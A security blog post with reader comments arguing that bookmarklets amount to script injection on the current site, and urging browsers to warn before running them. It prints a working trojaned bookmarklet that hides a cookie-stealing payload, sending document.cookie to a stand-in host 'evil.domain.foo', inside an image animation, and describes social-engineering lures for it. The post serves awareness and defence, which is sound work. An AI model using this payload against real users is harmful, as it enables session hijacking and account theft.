Bookmarklet of death: Domain hijacking without 0days
So we all know about cross-domain vulnerabilities that allow attackers to run code within the security context of the target domain. Typically, they are either a XSS bug on the server-side application, or a bug in the client (web browser plugin or web browser itself). Most of the times, these vulnerabilities require some type of interaction from the victim user. i.e.: being tricked to click on a link or visit a malicious page.
Now, most techies are familiar with bookmarklets. Well, what’s funny is that many users with knowledge of security - including many infosec professionals - are not aware of the security implications of running a bookmarklet.
The two most common ways to run a bookmarklet are:
- pasting the JavaScript code - which must start with a
javascript:statement - in the address bar and press ENTER - click on the bookmarklet under the ‘Bookmarks’ menu (must have been previously added)
On one hand, a bookmarklet is a piece of JavaScript that allows you to do something cool with the current webpage. On the other hand, from a security point of view, a bookmarklet is scripting code injection within the security context of the current domain/site by design.
Or put it this way: you’ve got the equivalent of a XSS vulnerability in the target site or a cross-domain vulnerability on the web browser. Except that you don’t need to discover a new vulnerability. No 0days required! So like in cross-domain vulnerabilities we can inject payloads that allow us to:
- steal cookies (session hijacking)
- scrape pages containing interesting data and submit it to the attacker’s site
- steal usernames and passwords that are autocompleted by the browser
- perform advanced phishing attacks. i.e.: by overwriting the login form’s action attribute or injecting a new fake login form
- etc …
Also, as in cross-domain vulnerabilities, there is some level of user interaction required: in this case, the attacker must trick the victim to run a bookmarklet while on the target site.
So how can we increase the chance of the victim being tricked to run a bookmarklet? Well, a nice trick is to use a fun and flashy bookmarklet, such as one that reads the images of the current page and creates an animation with them. You could of course write the code from scratch, but we won’t do that as we’re too lazy aren’t we? Instead, we’ll trojan a publicly available (fun and flashy) bookmarklet with our malicious code. In this case, our malicious payload steals the victim’s cookie for the purpose of hijacking his/her session. Notice that the cookies would be sent to x.php which the attacker would need to host on his/her site. This PHP script sends any received data (cookie in this case) to the attacker’s email:
javascript:/*%20start%20of%20evil%20code*/(function(){c=document.createElement("img");c.src="http://evil.domain.foo/x.php?"+document.cookie;c.width=0;c.height=0;document.body.appendChild(c)})();/*end%20of%20evil%20code%20*/window.scrollTo(0,%200);%20R=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;%20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsByTagName('img');%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i++){DIS=DI[%20i%20].style;%20DIS.position='absolute';%20DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+'px';%20DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+'px'}R++}setInterval('A()',5);%20void(0);
Notice the malicious payload is within JS comments. There is nothing special about the evil code. It simply creates an image tag which results in the victim’s cookie being sent to a third-party site in the background. The non-malicious payload will also execute, which results in the images of the current page moving around the screen. It’s quite neat, as the user won’t notice anything suspicious actually happened. Needless to say, you need to replace evil.domain.foo with the site hosting the x.php script.
You can picture this kind of attack actually happening in sites where there are cross-user functionalities. i.e.: social networking sites such as Facebook, MySpace and so on …
Thinking about the dangers of running a bookmarklet brings us to the next question:
Why in the world do browsers NOT show a warning before running a bookmarklet?
After all, browsers do display warnings for other potentially dangerous actions such as:
- visiting a site with an invalid SSL certificate
- clicking on a form that submits data in clear
I do understand that it would be annoying to warn users every time they run a bookmarklet, but I think it would be sensible to show a warning at least the first time a given bookmarklet is executed. If you work for a popular web browser vendor such as Microsoft or Mozilla, you can think of this as my wish for the day! I’d love to hear your feedback if you are reading this!
comments
PDP, of course I see how this allows you to run script in context of another site, and I agree it would be possible to exploit a users trust relationship with a legitimate vendor. However, this doesn’t seem like you are leveraging the situation to its full potential.
There are 2 situations here:
* Malicious user breaks into vulnerable.site.foo and backdoors their well-known bookmarklet
* Malicious user social engineers victim to install and run bookmarklet (on X site) “You want to see something cool?!”
* Malicious user puts bookmarkets that aren’t labeled improperly somewhere like a library. The javascript:evilcode bookmarklet is labeled “Email” at the public computer for example. He hopes they click the bookmarklet at all and at the right time.
In the first case, you can probably do a lot more abusing the trust relationship a user has with an owned domain than backdooring a bookmarklet. Throw up an ActiveX file or have them download an EXE. Still no 0days needed.
In the second case, most users are probably about as likely to run an executable you pass them or type something into a shell as they are to run a bookmarklet. “Want to see something cool? Open a shell and type ‘obfuscated code here + something cool’” “Hey, want to see something cool? Use this web proxy to log in instead!” “Hey want to see something cool? Download and run this!”
Third case you could easily install something a lot more malicious on that public computer, no 0days needed. Replace the browser link on the public computer with a link to your own backdoored one (which trusts you make believe CA and logs all credentials), for example.
In this case it is just exploitation of a users trust of a given application or party, but exploiting a bookmarklet exposes your malicious intent right there in plaintext (I’m not saying most people would know).
Why don’t browser makers warn you on bookmarklets? Well, several reasons, but you seem to know yourself that users would just click through so they can see the cool effect anyway (http://www.gnucitizen.org/blog/hacking-without-0days-drive-by-java/). Users don’t even stop at invalid SSL certs.
“Why in the world do browsers NOT show a warning before running a bookmarklet?”
I would imagine it is for convenience’s sake. I would be annoyed if I had to confirm that I wanted to run the bookmarklets that I had written myself every time I clicked them.
I seriously think browser vendors have much more pressing concerns than users executing trojaned bookmarklets.
How many people even use bookmarklets? My guess is it’s a lot fewer people than the amount that use sites with dodgy SSL or download and run executables.
Ross, this is not me, it is Adrian. :) We will improve this site feature soon. It seems that the author’s name is a bit obscured right now. Anyway, good points.
kuza55, I totally agree. The web is broken beyond reason. I am trying to get together a bunch of guys to come up with a sensible enough security solution for Firefox. You are more then welcome to join. On the bookmarklets thing,… well I think that there are people who are using them especially for social bookmarking purposes. Bookmarklets are not mainstream but they have the potentials to become such.
Well, in Konqueror (3) bookmarklets don’t even work from ordinary bookmarks — there is a separate menu (’Web tools’ or sth) for them. Although I’m not sure if it’s because of technical or security issues (no notice of any kind makes me believe the former, though).
Hey guys, very good feedback indeed. My comments follow.
@Ross: yes, there are many other scenarios in which a bookmarklet can be used to hijack a site. I just provided one example so that our readers get an idea of how bookmarklets can be used to compromise data. Nevertheless, the list of scenarios you provided are definitely quite neat!
@kuza55: you’re probably right. But there are some advantages over tricking a user to run a bookmarklet on the target site. For instance, it WON’T be picked by by content filters, AVs, etc … A drive-by download attack will be picked up by an AV provided the malware’s signature already exists on the AV’s DB.
@atom: I did mention the “annoyance” factor of showing warnings, that’s why I proposed - as an alternative - to show the warning only the *first time* a given bookmarklet is executed. This is trivial to implement by browsers. Simply generate a unique hash value for each bookmarklet, so that if the bookmarklet’s hash is already in the browser’s database, NO more warnings are shown again.
@pdp: yeah, somehow who writes each post on GC is not clear enough to our readers :)
Guys, the point here is that many people are not aware of the *security* implications of running a bookmarklet. And yes, it’s true that even when browsers return warnings many users still ignore them. Still, I want a warning for bookmarklets. Call me silly, but I think it makes sense.
Just like I still want FF to show a warning when scripting code runs within *local* context. i.e.: opening an HTML file that has been saved to the user’s desktop. In this sense IE beats FF. Lots of people don’t realize that if you open an HTML file locally which has JavaScript in it, any file can be read from the local system (i.e.: using XMLHttpRequest) among other evil things.
I am a little skeptic on the danger of this attack. While I think this was a very informative post (i didn’t even know about bookmarklets), I do not know if this really opens up a new attack form.
It seems to me that if an attacker can place a malicious bookmarklet on a webpage, they can most likely place malicious javascript as well. Hence, it is just a standard XSS issue. I wouldn’t be surprise if there was some bizarre case in which an attacker couldn’t put a piece of javascript that automatically loads, but was able to bypass filters to put up a malicioius javamarklet. However, I would guess that this case is very limited.
I am curious to know if anyone could cite such an example??
Also, you say that browsers should warn users when they are about to run a bookmarklet but I do not think this makes much sense. It is normal in almost every web browser not to warn users when they run javascript that gets automatically loaded. So why should they start to now inform users when they run javascript that they manually load??
Doesn’t this sound a little backwards?
Anyways, I am probably missing something on these two areas. If anyone has any wisdom on these issues I would love to know.
Cheers.
@takuan: I was going more for the scenario in which the attacker convinces the victim to run a bookmarklet (i.e.: paste it on the address bar and press enter) while on the target site.
Think of social networking sites where people send silly things to each others all the time. i.e.: “you gotta try this, it’s so cool!”
The attacker doesn’t need to break into the target site and place a bookmarklet. If he can do that, he doesn’t need a bookmarklet to hijack user sessions. In fact, there are much worse things he can do anyway once he can place content on a cracked site.
->Adrian
Thanks for the reply! I get what you are saying now.
Just by the nature of the sketchy-looking URL though, it would probably make most people suspicous.
(Also, it is cumbersome to copy and paste the URL so that alone would probably deter many people)
Also, with today’s browsing habits, it would be more likely that the person would open up a new tab and paste the URL in there, which would defeat the attack.
But, I am sure if you spam enough people with it, someone will eventually fall for it….
..]Hansen and Grossman said on Friday that they plan to release their research and a proof-of-concept exploit but won’t do so until Adobe issues a patch…]